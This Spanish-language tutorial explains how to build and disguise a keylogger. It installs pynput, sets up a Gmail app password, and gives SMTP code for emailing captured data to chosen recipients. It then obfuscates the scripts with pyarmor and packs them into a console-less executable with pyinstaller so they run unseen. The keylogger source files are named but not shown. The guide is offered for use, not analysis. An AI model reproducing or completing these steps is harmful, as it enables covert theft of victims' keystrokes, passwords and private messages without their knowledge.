- Instalar Python:
Asegúrate de tener Python 3.x instalado en tu sistema.
Descárgalo desde python.org. - Instalar las dependencias necesarias:
Ejecuta el siguiente comando en tu terminal:pip install pynput
- Accede a tu cuenta de Gmail.
- Ve a la página de configuración de contraseñas de aplicación: myaccount.google.com/apppasswords
- Genera una clave de aplicación:
- Selecciona "Correo" como aplicación.
- Selecciona "Equipo personal" como dispositivo.
- Copia la clave generada (por ejemplo: yxki jwbt ebfu khvc).
Crea los siguientes archivos con el código proporcionado:
- Archivo: main.py
- Archivo: keylogger.py
La parte del script donde añadir los datos de envió del mail están en esta parte, y no te olvides de importar las librerías!!!
import smtplib
from email.mime.text import MIMEText
subject = "Email Subject"
body = "This is the body of the text message"
sender = "sender@gmail.com" #Sender Email Address
recipients = ["recipient1@gmail.com", "recipient2@gmail.com"] # Multiple email address can be given
password = "password" # Gmail Application Password
# We will create a function to send mail .We will pass above values in funcion parameter.
def send_email(subject, body, sender, recipients, password):
msg = MIMEText(body) # Creating msg object using MIMEText class of email module
msg['Subject'] = subject # Assigning the subject
msg['From'] = sender # Assigning the sender email address
msg['To'] = ', '.join(recipients) # Assigning recepients email address.
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server: # Creating connection using context manager
smtp_server.login(sender, password)
smtp_server.sendmail(sender, recipients, msg.as_string())
print("Email sent Successfully!")
# We will call the function and pass the parameter values defined in line no 4 to 8.
send_email(subject, body, sender, recipients, password)Ejecuta los siguientes comandos para ofuscar los scripts:
pyarmor gen keylogger.py
pyarmor gen main.pyUsa pyinstaller para generar un ejecutable:
pyinstaller --onefile --noconsole --add-data "dist/keylogger.py;." --hidden-import=pynput.keyboard --hidden-import=smtplib --hidden-import=termcolor --hidden-import=socket --hidden-import=os --hidden-import=email.mime --hidden-import=email.mime.text dist/main.py